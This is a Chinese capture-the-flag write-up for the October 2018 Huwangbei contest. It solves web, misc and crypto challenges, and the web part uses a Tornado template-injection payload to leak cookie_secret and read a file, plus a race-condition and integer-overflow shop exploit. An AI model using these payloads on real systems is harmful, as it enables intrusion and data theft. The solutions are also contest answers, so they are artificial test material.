美文网首页CTF
2018年10月护网杯 WriteUp

2018年10月护网杯 WriteUp

作者: Eumenides_62ac | 来源:发表于2018-10-14 14:20 被阅读167次

    Web

    Easy tornado

    看过题目,需要我们找到一个叫做cookie_secret的东西即可。
    进行模板注入。

    http://117.78.27.5:31356/error?msg={{2*2}}
    http://117.78.27.5:31356/error?msg={{handler.application.settings}}
    
    Whoops, looks like somethings went wrong . 
    {'login_url': '/login', 'template_path': 'templates', 'xsrf_cookies': True, 'cookie_secret': '0tG+hY[4ekR($v72OzJa)M9d!jV8sF.n1>{Zo#*pPIm_<W%L3-T~AuQlBbqr6}ig', 'debug': False, 'file_path': '/www/static/files', 'static_path': 'static'}
    

    可以找到cookie_secret
    输入:

    http://117.78.27.5:31356/file?filename=/fllllllllllag&signature=7bae09c2c6e2f6aa34df7dbee23db960
    

    得到flag。

    ltshop

    过程:

    开局¥20
    一包大辣条¥5
    5包大辣条换一包辣条之王
    9999999包辣条之王才能换flag
    

    先利用条件竞争漏洞,通过burpsuite设置线程得到大辣条。
    然后要进行整数溢出。

    int: 2**32-1 = 4294967295
    long: 2**63 -1 = 9223372036854775807
    longlong: 2**64-1 = 18446744073709551615
    

    这个题逻辑是numer*5<最大值。
    所以取到临界值18446744073709551615 / 5 == 3689348814741910323
    3689348814741910323+1 == 3689348814741910324购买即可整数溢出。

    Misc

    迟来的签到题

    题目给了串字符串:

    AAoHAR1WI1BRX1RQJ1AgJVdfI1VXJ1JTJ1BVXiIjVyRRIiMlJRs=
    

    给力提示easy xor???
    做法就是与f的ASCII码进行异或。
    用python得到flag:

    import base64
    
    problem = 'AAoHAR1WI1BRX1RQJ1AgJVdfI1VXJ1JTJ1BVXiIjVyRRIiMlJRs='
    a = base64.b64decode(problem)
    #print(type(a))
    r = ''
    for i in range(len(a)):
        r += chr(a[i]^ord('f')) # 与f的ASCII码进行异或
    
    print(r)
    

    Crypto

    FEZ [DONE]

    DES只有轮密钥
    用的同一组密钥加密,按照test的明文和密文按照流程推一遍,容易得到第7轮时的密文和原明文关系,然后flag的密文和明文关系也是一样的,就可以解出。(不会密码学 - -)
    脚本:

    # coding=utf-8
    import os
    def xor(a,b):
        assert len(a)==len(b)
        c=""
        for i in range(len(a)):
            c+=chr(ord(a[i])^ord(b[i]))
        return c
    def f(x,k):
        return xor(xor(x,k),7)
    def round(M,K):
        L=M[0:27]
        R=M[27:54]
        new_l=R
        new_r=xor(xor(R,L),K)
        return new_l+new_r
    def fez(m,K):
        for i in K:
            m=round(m,i)
        return m
    
    test_m= '6c34525bcc8c004abbb2815031542849daeade4f774425a6a49e545188f670ce4667df9db0b7ded2a25cdaa6e2a26f0d384d9699988f'
    test_c='8cf87cc3c55369255b1c0dd4384092026aea1e37899675de8cd3a097f00a14a772ff135240fd03e77c9da02d7a2bc590fe797cfee990'
    flag_c='ec42b9876a716393a8d1776b7e4be84511511ba579404f59956ce6fd12fc6cbfba909c6e5a6ab3e746aec5d31dc62e480009317af1bb'
    test_m=test_m.decode('hex')
    test_c=test_c.decode('hex')
    flag_c=flag_c.decode('hex')
    
    test_L0=test_m[0:27]
    test_R0=test_m[27:54]
    test_L7=test_c[0:27]
    test_R7=test_c[27:54]
    flag_L7=flag_c[0:27]
    flag_R7=flag_c[27:54]
    
    
    K_L=xor(test_L7,test_R0)
    K_R=xor(xor(test_R7,test_L0),test_R0)
    
    
    flag_R0=xor(flag_L7,K_L)
    flag_L0=xor(xor(flag_R7,K_R),flag_R0)
    
    print flag_L0+flag_R0
    

    相关文章

      网友评论

        本文标题:2018年10月护网杯 WriteUp

        本文链接:https://www.haomeiwen.com/subject/nyizaftx.html